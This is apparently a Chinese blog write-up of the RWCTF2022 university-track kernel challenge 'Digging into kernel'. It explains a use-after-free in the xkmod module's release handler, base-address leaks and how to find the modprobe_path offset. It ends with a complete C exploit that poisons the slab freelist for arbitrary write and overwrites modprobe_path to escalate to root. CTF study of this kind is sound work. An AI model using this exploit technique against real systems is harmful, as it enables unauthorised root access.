编辑
2023-03-08
Kernel Pwn
00
请注意,本文编写于 758 天前,最后修改于 758 天前,其中某些信息可能已经过时。

目录

RWCTF2022高校赛 - Digging into kernel
文件分析
漏洞分析
坑点1
坑点2
exp

是时候展现真正的躺赢技术了:)

RWCTF2022高校赛 - Digging into kernel

文件分析

出题人kaslr写错了 写成了kalsr不过不影响 因为kaslr默认开启 同时开启的还有smep和smap

此题没有init

漏洞分析

先来看看xkmod_init

c
kmem_cache * kmem_cache_create (const char *name, size_t size, size_t align, unsigned long flags, void (*ctor)(void *))

功能: 用来创建一个slab新缓存 这通常是在内核初始化时执行的 或者在首次加载内核模块时执行

  • name:该参数指缓存名称,proc文件系统(在/proc/slabinfo中)使用它标识一个缓存。
  • size:该参数指定了为这个缓存创建的对象的大小,它是以字节为单位的。
  • align:该参数定义了每个对象的对齐方式。
  • flags:该参数指定了分配缓存时的选项,这些选项标志如表所示

简单来说就是创造了一个新的chunk缓存

再来看看xkmod_ioctl

乱的雅痞 配合着ghidra食用更好一点

很明显就是三个功能嘛

控制代码0x6666666从用户读入到公共chunk

控制代码0x7777777公共chunk输出到用户态中

控制代码0x1111111新建一个大小为0xcc0的公共chunk

最后看看xkmod_release

就是在关闭设备的时候free掉公共chunk

那么漏洞其实已经很明显了 因为最后关闭设备的时候没有清空指针 如果我们同时打开多个设备 然后关闭掉其中一个就能得到一个UAF漏洞 Kernel内的chunk结构和用户态的差不多 都是一个链表串联起所有的free_chunk 同时我们存在读写功能 那么就能实现任意读和任意写

那么最后提权思路最简单的就是修改modprobe_path

坑点1

虽然我们能任意读写 但是我们如何获取ko_basekernel_base仍然是一个问题 我们暂时先把kaslr关掉来摸索下

这时候我们发现我们可以通过UAF泄漏出来chunk指针 这个chunk指针前半部分完全就是ko_base的模样

c
int fd=open("/dev/xkmod",O_RDONLY); int fd2=open("/dev/xkmod",O_RDONLY); int fd3=open("/dev/xkmod",O_RDONLY); kmalloc(fd); close(fd2); size_t* temp_mem=malloc(0x50); kread(fd,temp_mem,0,0x20); size_t leak_addr=temp_mem[0]; printf("[+] leak_addr: %p\n",leak_addr);

那么我们可以直接取高位地址作为ko_base即可

有了ko_base那么kernel_base就好整了 在ko_base+0x9d000处存在一个函数指针secondary_startup_64 我们把他读出来就行了

c
int fd=open("/dev/xkmod",O_RDONLY); int fd2=open("/dev/xkmod",O_RDONLY); int fd3=open("/dev/xkmod",O_RDONLY); kmalloc(fd); close(fd2); size_t* temp_mem=malloc(0x50); kread(fd,temp_mem,0,0x20); size_t leak_addr=temp_mem[0]; printf("[+] leak_addr: %p\n",leak_addr); size_t ko_base=leak_addr&0xfffffffff0000000; printf("[+] ko_base: %p\n",ko_base); size_t secondary_startup_64=ko_base+0x9d000-0x10; printf("[+] ready to get %p\n",secondary_startup_64); memset(temp_mem,0,0x50); temp_mem[0]=secondary_startup_64; kwrite(fd,temp_mem,0,0x20); kmalloc(fd); kmalloc(fd); memset(temp_mem,0,0x20); kread(fd,temp_mem,0x10,0x8); secondary_startup_64=temp_mem[0]; printf("[+] secondary_startup_64: %p\n",secondary_startup_64); size_t kernel_base=secondary_startup_64-0x30; printf("[+] kernel_base: %p\n",kernel_base);
坑点2

当我们确定好提权思路之后发现一个比较坑的地方就是 我们的vmlinux中没有modprobe_path的符号 那么如何获取modprobe_path的偏移又成了问题

这时候需要我们自己去汇编中找modprobe_path的地址了 首先我们需要自己写一个init 然后将init中的rdinit=/sbin/init删掉即可 这里我直接借用之前题中的init

sh
qemu-system-x86_64 \ -kernel bzImage \ -initrd rootfs.cpio \ -append "console=ttyS0 root=/dev/ram quiet nokaslr" \ -cpu kvm64,+smep,+smap \ -monitor null \ --nographic \ -s
sh
#!/bin/sh echo "{==DBG==} INIT SCRIPT" mount -t proc none /proc mount -t sysfs none /sys mkdir /dev/pts mount -t devpts devpts /dev/pts mdev -s exec 0</dev/console exec 1>/dev/console exec 2>/dev/console echo -e "{==DBG==} Boot took $(cut -d' ' -f1 /proc/uptime) seconds" insmod xkmod.ko chmod 666 /dev/xkmod chmod 666 /dev/ptmx chown 0:0 /flag chmod 400 /flag poweroff -d 120 -f & chroot . setuidgid 0 /bin/sh #normal user

切到root之后我们需要寻找__request_module的地址

sh
cat /proc/kallsyms | grep "__request_module"

然后切入gdb调试 此值即为modprobe_path的地址 直接减去基址算出来偏移即可

exp
c
#include <sys/types.h> #include <stdio.h> #include <pthread.h> #include <errno.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <poll.h> #include <string.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/sem.h> #include <semaphore.h> struct data { void* ptr; unsigned int offset; unsigned int size; /* unsigned int != size_t sizeof(data)=0x10 */ }; void kread(int fd,size_t ptr,size_t offset,size_t size) { struct data a; a.ptr=ptr; a.offset=offset; a.size=size; ioctl(fd,0x7777777,&a); } void kwrite(int fd,size_t ptr,size_t offset,size_t size) { struct data a; a.ptr=ptr; a.offset=offset; a.size=size; ioctl(fd,0x6666666,&a); } void kmalloc(int fd) { struct data a; a.ptr=2; a.offset=0; a.size=0; ioctl(fd,0x1111111,&a); } void main() { int fd=open("/dev/xkmod",O_RDONLY); int fd2=open("/dev/xkmod",O_RDONLY); int fd3=open("/dev/xkmod",O_RDONLY); kmalloc(fd); close(fd2); size_t* temp_mem=malloc(0x50); kread(fd,temp_mem,0,0x20); size_t leak_addr=temp_mem[0]; printf("[+] leak_addr: %p\n",leak_addr); size_t ko_base=leak_addr&0xfffffffff0000000; printf("[+] ko_base: %p\n",ko_base); size_t secondary_startup_64=ko_base+0x9d000-0x10; printf("[+] ready to get %p\n",secondary_startup_64); memset(temp_mem,0,0x50); temp_mem[0]=secondary_startup_64; kwrite(fd,temp_mem,0,0x20); kmalloc(fd); kmalloc(fd); memset(temp_mem,0,0x20); kread(fd,temp_mem,0x10,0x8); secondary_startup_64=temp_mem[0]; printf("[+] secondary_startup_64: %p\n",secondary_startup_64); size_t kernel_base=secondary_startup_64-0x30; printf("[+] kernel_base: %p\n",kernel_base); size_t modprobe_path=kernel_base+0x1444700; printf("[+] modprobe_path: %p\n",modprobe_path); close(fd3); temp_mem[0]=modprobe_path-0x10; kwrite(fd,temp_mem,0,0x20); kmalloc(fd); kmalloc(fd); char target[100]="/home/test.sh"; kwrite(fd,target,0x10,0x20); printf("has write\n"); system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /home/test.sh"); system("chmod +x /home/test.sh"); system("echo -ne '\\xff\\xff\\xff\\xff' > /home/fuck"); system("chmod +x /home/fuck"); system("/home/fuck"); system("cat /flag"); }

本文作者:Du4t

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!